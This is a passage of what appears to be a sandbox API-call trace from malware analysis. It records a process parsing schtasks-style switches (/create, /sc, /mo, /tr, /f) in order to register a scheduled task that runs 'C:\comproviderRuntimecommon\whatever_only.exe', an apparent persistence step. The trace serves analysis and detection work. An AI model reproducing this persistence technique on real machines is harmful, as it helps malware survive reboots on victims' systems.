_ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.080] lstrlenW (lpString="|sc|") returned 4 [0127.080] lstrlenW (lpString="|tr|") returned 4 [0127.080] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0127.080] SetLastError (dwErrCode=0x490) [0127.080] lstrlenW (lpString="mo") returned 2 [0127.080] lstrlenW (lpString="mo") returned 2 [0127.080] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.080] lstrlenW (lpString="tr") returned 2 [0127.081] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.081] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|mo|") returned 4 [0127.081] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.081] lstrlenW (lpString="|mo|") returned 4 [0127.081] lstrlenW (lpString="|tr|") returned 4 [0127.081] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0127.081] SetLastError (dwErrCode=0x490) [0127.081] lstrlenW (lpString="d") returned 1 [0127.081] lstrlenW (lpString="d") returned 1 [0127.081] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.081] lstrlenW (lpString="tr") returned 2 [0127.081] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.081] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|d|") returned 3 [0127.081] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.081] lstrlenW (lpString="|d|") returned 3 [0127.081] lstrlenW (lpString="|tr|") returned 4 [0127.081] SetLastError (dwErrCode=0x490) [0127.081] lstrlenW (lpString="m") returned 1 [0127.081] lstrlenW (lpString="m") returned 1 [0127.081] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.081] lstrlenW (lpString="tr") returned 2 [0127.081] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.081] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|m|") returned 3 [0127.082] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.082] lstrlenW (lpString="|m|") returned 3 [0127.082] lstrlenW (lpString="|tr|") returned 4 [0127.082] SetLastError (dwErrCode=0x490) [0127.082] lstrlenW (lpString="i") returned 1 [0127.082] lstrlenW (lpString="i") returned 1 [0127.082] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.082] lstrlenW (lpString="tr") returned 2 [0127.082] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.082] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|i|") returned 3 [0127.082] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.082] lstrlenW (lpString="|i|") returned 3 [0127.082] lstrlenW (lpString="|tr|") returned 4 [0127.082] SetLastError (dwErrCode=0x490) [0127.082] lstrlenW (lpString="tn") returned 2 [0127.082] lstrlenW (lpString="tn") returned 2 [0127.082] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.082] lstrlenW (lpString="tr") returned 2 [0127.082] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.082] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.082] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.082] lstrlenW (lpString="|tn|") returned 4 [0127.082] lstrlenW (lpString="|tr|") returned 4 [0127.082] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0127.082] SetLastError (dwErrCode=0x490) [0127.083] lstrlenW (lpString="tr") returned 2 [0127.083] lstrlenW (lpString="tr") returned 2 [0127.083] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.083] lstrlenW (lpString="tr") returned 2 [0127.083] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.083] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.083] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.083] lstrlenW (lpString="|tr|") returned 4 [0127.083] lstrlenW (lpString="|tr|") returned 4 [0127.083] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0127.083] SetLastError (dwErrCode=0x0) [0127.083] SetLastError (dwErrCode=0x0) [0127.083] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.083] lstrlenW (lpString="-/") returned 2 [0127.083] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0127.083] SetLastError (dwErrCode=0x490) [0127.083] SetLastError (dwErrCode=0x490) [0127.083] SetLastError (dwErrCode=0x0) [0127.083] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.083] StrChrIW (lpStart="'C:\\comproviderRuntimecommon\\whatever_only.exe'", wMatch=0x3a) returned=":\\comproviderRuntimecommon\\whatever_only.exe'" [0127.083] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.083] _memicmp (_Buf1=0x16d4e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.083] _memicmp (_Buf1=0x16d520, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.083] SetLastError (dwErrCode=0x7a) [0127.083] SetLastError (dwErrCode=0x0) [0127.083] SetLastError (dwErrCode=0x0) [0127.083] lstrlenW (lpString="'C") returned 2 [0127.083] lstrlenW (lpString="-/") returned 2 [0127.084] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0127.084] SetLastError (dwErrCode=0x490) [0127.084] SetLastError (dwErrCode=0x490) [0127.084] SetLastError (dwErrCode=0x0) [0127.084] _memicmp (_Buf1=0x16d560, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.084] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.084] GetProcessHeap () returned 0x150000 [0127.084] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d580) returned 1 [0127.084] GetProcessHeap () returned 0x150000 [0127.084] RtlReAllocateHeap (Heap=0x150000, Flags=0xc, Ptr=0x16d580, Size=0x60) returned 0x16c250 [0127.084] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.084] lstrlenW (lpString=" \x09") returned 2 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0127.084] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0127.085] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.086] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0127.086] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.086] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0127.086] GetLastError () returned 0x0 [0127.086] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.086] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0127.086] SetLastError (dwErrCode=0x0) [0127.086] SetLastError (dwErrCode=0x0) [0127.086] lstrlenW (lpString="/f") returned 2 [0127.086] lstrlenW (lpString="-/") returned 2 [0127.086] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.086] lstrlenW (lpString="create") returned 6 [0127.086] lstrlenW (lpString="create") returned 6 [0127.086] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.086] lstrlenW (lpString="f") returned 1 [0127.086] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.086] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|create|") returned 8 [0127.086] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.086] lstrlenW (lpString="|create|") returned 8 [0127.086] lstrlenW (lpString="|f|") returned 3 [0127.086] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0127.086] SetLastError (dwErrCode=0x490) [0127.086] lstrlenW (lpString="?") returned 1 [0127.086] lstrlenW (lpString="?") returned 1 [0127.086] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.086] lstrlenW (lpString="f") returned 1 [0127.086] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.086] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|?|") returned 3 [0127.087] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.087] lstrlenW (lpString="|?|") returned 3 [0127.087] lstrlenW (lpString="|f|") returned 3 [0127.087] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0127.087] SetLastError (dwErrCode=0x490) [0127.087] lstrlenW (lpString="s") returned 1 [0127.087] lstrlenW (lpString="s") returned 1 [0127.087] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.087] lstrlenW (lpString="f") returned 1 [0127.087] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.087] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|s|") returned 3 [0127.087] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.087] lstrlenW (lpString="|s|") returned 3 [0127.087] lstrlenW (lpString="|f|") returned 3 [0127.087] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0127.087] SetLastError (dwErrCode=0x490) [0127.087] lstrlenW (lpString="u") returned 1 [0127.087] lstrlenW (lpString="u") returned 1 [0127.087] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.087] lstrlenW (lpString="f") returned 1 [0127.087] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.087] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|u|") returned 3 [0127.087] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.087] lstrlenW (lpString="|u|") returned 3 [0127.087] lstrlenW (lpString="|f|") returned 3 [0127.087] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0127.087] SetLastError (dwErrCode=0x490) [0127.088] lstrlenW (lpString="p") returned 1 [0127.088] lstrlenW (lpString="p") returned 1 [0127.088] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.088] lstrlenW (lpString="f") returned 1 [0127.088] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.088] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|p|") returned 3 [0127.088] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.088] lstrlenW (lpString="|p|") returned 3 [0127.088] lstrlenW (lpString="|f|") returned 3 [0127.088] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0127.088] SetLastError (dwErrCode=0x490) [0127.088] lstrlenW (lpString="ru") returned 2 [0127.088] lstrlenW (lpString="ru") returned 2 [0127.088] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.088] lstrlenW (lpString="f") returned 1 [0127.088] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.088] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|ru|") returned 4 [0127.088] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.088] lstrlenW (lpString="|ru|") returned 4 [0127.088] lstrlenW (lpString="|f|") returned 3 [0127.088] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0127.088] SetLastError (dwErrCode=0x490) [0127.088] lstrlenW (lpString="rp") returned 2 [0127.088] lstrlenW (lpString="rp") returned 2 [0127.088] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.088] lstrlenW (lpString="f") returned 1 [0127.089] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.089] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|rp|") returned 4 [0127.089] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.089] lstrlenW (lpString="|rp|") returned 4 [0127.089] lstrlenW (lpString="|f|") returned 3 [0127.089] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0127.089] SetLastError (dwErrCode=0x490) [0127.089] lstrlenW (lpString="sc") returned 2 [0127.089] lstrlenW (lpString="sc") returned 2 [0127.089] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.089] lstrlenW (lpString="f") returned 1 [0127.089] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.089] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sc|") returned 4 [0127.089] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.089] lstrlenW (lpString="|sc|") returned 4 [0127.089] lstrlenW (lpString="|f|") returned 3 [0127.089] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0127.089] SetLastError (dwErrCode=0x490) [0127.089] lstrlenW (lpString="mo") returned 2 [0127.089] lstrlenW (lpString="mo") returned 2 [0127.089] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.089] lstrlenW (lpString="f") returned 1 [0127.089] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.089] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|mo|") returned 4 [0127.089] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.089] lstrlenW (lpString="|mo|") returned 4 [0127.090] lstrlenW (lpString="|f|") returned 3 [0127.090] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0127.090] SetLastError (dwErrCode=0x490) [0127.090] lstrlenW (lpString="d") returned 1 [0127.090] lstrlenW (lpString="d") returned 1 [0127.090] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.090] lstrlenW (lpString="f") returned 1 [0127.090] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.090] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|d|") returned 3 [0127.090] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.090] lstrlenW (lpString="|d|") returned 3 [0127.090] lstrlenW (lpString="|f|") returned 3 [0127.090] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0127.090] SetLastError (dwErrCode=0x490) [0127.090] lstrlenW (lpString="m") returned 1 [0127.090] lstrlenW (lpString="m") returned 1 [0127.090] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.090] lstrlenW (lpString="f") returned 1 [0127.090] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.090] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|m|") returned 3 [0127.090] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.090] lstrlenW (lpString="|m|") returned 3 [0127.090] lstrlenW (lpString="|f|") returned 3 [0127.090] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0127.090] SetLastError (dwErrCode=0x490) [0127.090] lstrlenW (lpString="i") returned 1 [0127.091] lstrlenW (lpString="i") returned 1 [0127.091] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.091] lstrlenW (lpString="f") returned 1 [0127.091] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.091] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|i|") returned 3 [0127.091] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.091] lstrlenW (lpString="|i|") returned 3 [0127.091] lstrlenW (lpString="|f|") returned 3 [0127.091] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0127.091] SetLastError (dwErrCode=0x490) [0127.091] lstrlenW (lpString="tn") returned 2 [0127.091] lstrlenW (lpString="tn") returned 2 [0127.091] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.091] lstrlenW (lpString="f") returned 1 [0127.091] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.091] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tn|") returned 4 [0127.091] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.091] lstrlenW (lpString="|tn|") returned 4 [0127.091] lstrlenW (lpString="|f|") returned 3 [0127.091] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0127.091] SetLastError (dwErrCode=0x490) [0127.091] lstrlenW (lpString="tr") returned 2 [0127.091] lstrlenW (lpString="tr") returned 2 [0127.091] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.091] lstrlenW (lpString="f") returned 1 [0127.091] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.092] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|tr|") returned 4 [0127.092] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.092] lstrlenW (lpString="|tr|") returned 4 [0127.092] lstrlenW (lpString="|f|") returned 3 [0127.092] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0127.092] SetLastError (dwErrCode=0x490) [0127.092] lstrlenW (lpString="st") returned 2 [0127.092] lstrlenW (lpString="st") returned 2 [0127.092] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.092] lstrlenW (lpString="f") returned 1 [0127.092] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.092] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|st|") returned 4 [0127.092] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.092] lstrlenW (lpString="|st|") returned 4 [0127.092] lstrlenW (lpString="|f|") returned 3 [0127.092] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0127.092] SetLastError (dwErrCode=0x490) [0127.092] lstrlenW (lpString="sd") returned 2 [0127.092] lstrlenW (lpString="sd") returned 2 [0127.092] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.092] lstrlenW (lpString="f") returned 1 [0127.092] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.092] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|sd|") returned 4 [0127.092] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.092] lstrlenW (lpString="|sd|") returned 4 [0127.092] lstrlenW (lpString="|f|") returned 3 [0127.093] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0127.093] SetLastError (dwErrCode=0x490) [0127.093] lstrlenW (lpString="ed") returned 2 [0127.093] lstrlenW (lpString="ed") returned 2 [0127.093] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.093] lstrlenW (lpString="f") returned 1 [0127.093] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.093] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|ed|") returned 4 [0127.093] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.093] lstrlenW (lpString="|ed|") returned 4 [0127.093] lstrlenW (lpString="|f|") returned 3 [0127.093] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0127.093] SetLastError (dwErrCode=0x490) [0127.093] lstrlenW (lpString="it") returned 2 [0127.093] lstrlenW (lpString="it") returned 2 [0127.093] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.093] lstrlenW (lpString="f") returned 1 [0127.093] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.093] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|it|") returned 4 [0127.093] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.093] lstrlenW (lpString="|it|") returned 4 [0127.093] lstrlenW (lpString="|f|") returned 3 [0127.093] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0127.093] SetLastError (dwErrCode=0x490) [0127.093] lstrlenW (lpString="et") returned 2 [0127.093] lstrlenW (lpString="et") returned 2 [0127.093] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.094] lstrlenW (lpString="f") returned 1 [0127.094] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.094] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|et|") returned 4 [0127.094] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.094] lstrlenW (lpString="|et|") returned 4 [0127.094] lstrlenW (lpString="|f|") returned 3 [0127.094] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0127.094] SetLastError (dwErrCode=0x490) [0127.094] lstrlenW (lpString="k") returned 1 [0127.094] lstrlenW (lpString="k") returned 1 [0127.094] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.094] lstrlenW (lpString="f") returned 1 [0127.094] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.094] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|k|") returned 3 [0127.094] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.094] lstrlenW (lpString="|k|") returned 3 